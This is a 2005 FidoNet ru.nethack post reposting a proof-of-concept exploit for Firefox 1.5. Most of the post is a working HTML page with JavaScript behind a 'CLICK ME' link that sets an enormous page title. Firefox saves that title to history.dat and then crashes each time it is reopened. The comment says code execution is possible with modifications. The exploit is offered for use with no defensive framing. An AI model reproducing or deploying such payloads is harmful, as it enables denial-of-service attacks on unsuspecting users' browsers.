ru.nethack
- RU.NETHACK -------------------------------------------------------------------
From : Pavel Vasilyev 2:5020/1042.65 15 Dec 2005 00:06:04
To : All
Subject : Firefox-нах
--------------------------------------------------------------------------------
<!-- Firefox 1.5 buffer overflow
Basically firefox logs all kinda of URL data in it's history.dat file,
this little script will set a really large topic and Firefox will then
save that topic into it's history.dat.. The next time that firefox is
opened, it will instantly crash due to a buffer overflow -- this will
happen everytime until you manually delete the history.dat file -- which
most users won't figure out.
this proof of concept will only prevent someone from reopening
their browser after being exploited. DoS if you will. however, code
execution is possible with some modifcations.
Tested with Firefox 1.5
-->
<html><head><title>Ooops!!!</title><script type="text/javascript">
function a() { var b = ""; for (var d = 0; d < 5000; d++) { b += "A"; }
var c = b; for (e = 0; e < 500; e++) { c += b; }
document.title = c; } </script></head><body>ZIPLOCK says
<a href="javascript:a();">CLICK ME</a></body></html>
Memento morri !
--- GoldED+ 1.1.5 (Linux 2.6.14.3 i686)
* Origin: Столлмана - на мыло. GPL - на порошок. FSF - Отстой (2:5020/1042.65)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
|
